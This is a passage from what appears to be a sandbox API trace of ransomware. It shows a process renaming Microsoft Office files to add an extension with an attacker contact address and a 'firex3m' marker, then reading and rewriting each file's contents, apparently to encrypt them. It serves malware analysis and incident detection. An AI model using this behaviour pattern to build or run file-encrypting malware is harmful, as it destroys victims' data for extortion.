lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0173.625] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.625] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0173.625] CloseHandle (hObject=0x6dc) returned 1 [0173.625] GetProcessHeap () returned 0x630000 [0173.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73554c8 | out: hHeap=0x630000) returned 1 [0173.626] GetProcessHeap () returned 0x630000 [0173.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x734a098 | out: hHeap=0x630000) returned 1 [0173.626] GetProcessHeap () returned 0x630000 [0173.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0173.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15f04999, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d6f752e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x51f90, dwReserved0=0xb247496, dwReserved1=0x734a090, cFileName="PowerViewRes.sr-cyrl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5540 [0173.626] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0173.626] Sleep (dwMilliseconds=0x1) [0175.934] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap", len=0x65 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap") returned 1 [0175.934] GetProcessHeap () returned 0x630000 [0175.934] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b44) returned 0x707d3d0 [0176.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\powerviewres.fr.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0176.995] CloseHandle (hObject=0x718) returned 1 [0176.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0176.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\powerviewres.fr.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\powerviewres.fr.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0176.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0176.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fb53, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.fr.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5540 [0176.997] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0176.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\powerviewres.fr.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0176.998] GetProcessHeap () returned 0x630000 [0176.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70505a0 [0176.998] GetProcessHeap () returned 0x630000 [0176.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0176.998] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.999] ReadFile (in: hFile=0x718, lpBuffer=0x70505a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70505a0*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0184.931] GetProcessHeap () returned 0x630000 [0184.931] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0184.931] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.931] WriteFile (in: hFile=0x718, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0184.932] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.932] WriteFile (in: hFile=0x718, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.965] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.965] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.965] CloseHandle (hObject=0x718) returned 1 [0184.965] GetProcessHeap () returned 0x630000 [0184.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0184.965] GetProcessHeap () returned 0x630000 [0184.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70505a0 | out: hHeap=0x630000) returned 1 [0184.965] GetProcessHeap () returned 0x630000 [0184.965] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0184.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\PowerViewRes.fr.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3433251d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4fb77, dwReserved0=0xb247496, dwReserved1=0x7050598, cFileName="PowerViewRes.fr.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0184.966] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.966] Sleep (dwMilliseconds=0x1) [0184.980] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS", len=0x40 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS") returned 1 [0184.980] GetProcessHeap () returned 0x630000 [0184.980] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a04) returned 0x707d3d0 [0184.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0184.980] CloseHandle (hObject=0x718) returned 1 [0184.981] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe50d9a48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe50d9a48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaee2894, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1efdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK679A~1.FIR")) returned 0x6d5280 [0184.982] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0184.982] GetProcessHeap () returned 0x630000 [0184.982] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70505a0 [0184.983] GetProcessHeap () returned 0x630000 [0184.983] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0184.983] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.983] ReadFile (in: hFile=0x718, lpBuffer=0x70505a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70505a0*, lpNumberOfBytesRead=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0192.742] GetProcessHeap () returned 0x630000 [0192.742] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0192.742] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.743] WriteFile (in: hFile=0x718, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x40bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.096] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.096] WriteFile (in: hFile=0x718, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.108] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.108] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.109] CloseHandle (hObject=0x718) returned 1 [0195.314] GetProcessHeap () returned 0x630000 [0195.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0195.317] GetProcessHeap () returned 0x630000 [0195.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70505a0 | out: hHeap=0x630000) returned 1 [0195.318] GetProcessHeap () returned 0x630000 [0195.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0196.301] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe50d9a48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe50d9a48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a3e9638, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0xb247496, dwReserved1=0x7050598, cFileName="SKYPEFB.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK679A~1.FIR")) returned 0x6d5000 [0196.301] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.301] Sleep (dwMilliseconds=0x1) [0196.317] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", len=0x3e | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT") returned 1 [0196.317] GetProcessHeap () returned 0x630000 [0196.317] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47a4) returned 0x7133a90 [0196.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0196.561] CloseHandle (hObject=0x6f4) returned 1 [0196.561] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR2XL~1.FIR")) returned 0x6d4e40 [0196.762] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0196.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0196.762] GetProcessHeap () returned 0x630000 [0196.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7221) returned 0x739d230 [0196.762] GetProcessHeap () returned 0x630000 [0196.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7221) returned 0x73a4460 [0196.762] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.762] ReadFile (in: hFile=0x6f4, lpBuffer=0x739d230, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x739d230*, lpNumberOfBytesRead=0x40bff0c*=0x7200, lpOverlapped=0x0) returned 1 [0202.819] GetProcessHeap () returned 0x630000 [0202.819] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0202.819] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.819] WriteFile (in: hFile=0x6f4, lpBuffer=0x73a4460*, nNumberOfBytesToWrite=0x7200, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a4460*, lpNumberOfBytesWritten=0x40bff0c*=0x7200, lpOverlapped=0x0) returned 1 [0202.819] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.820] WriteFile (in: hFile=0x6f4, lpBuffer=0x73ab65f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73ab65f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0202.820] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.820] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0202.820] CloseHandle (hObject=0x6f4) returned 1 [0202.820] GetProcessHeap () returned 0x630000 [0202.820] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73a4460 | out: hHeap=0x630000) returned 1 [0202.821] GetProcessHeap () returned 0x630000 [0202.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739d230 | out: hHeap=0x630000) returned 1 [0202.821] GetProcessHeap () returned 0x630000 [0202.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0202.821] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0202.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3ed760de, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7224, dwReserved0=0xb247496, dwReserved1=0x739d228, cFileName="ADR2.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR2XL~1.FIR")) returned 0x6d5380 [0202.821] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0202.821] Sleep (dwMilliseconds=0x1) [0204.994] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT", len=0x67 | out: pbstr=0x40bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 1 [0204.994] GetProcessHeap () returned 0x630000 [0204.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c0c) returned 0x7133a90 [0204.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0204.995] CloseHandle (hObject=0x4b8) returned 1 [0204.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0204.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\metconv.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0204.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="METCONV.TXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="METCON~1.FIR")) returned 0x6d5200 [0204.997] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0204.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\metconv.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0204.997] GetProcessHeap () returned 0x630000 [0204.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0204.997] GetProcessHeap () returned 0x630000 [0204.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0204.997] 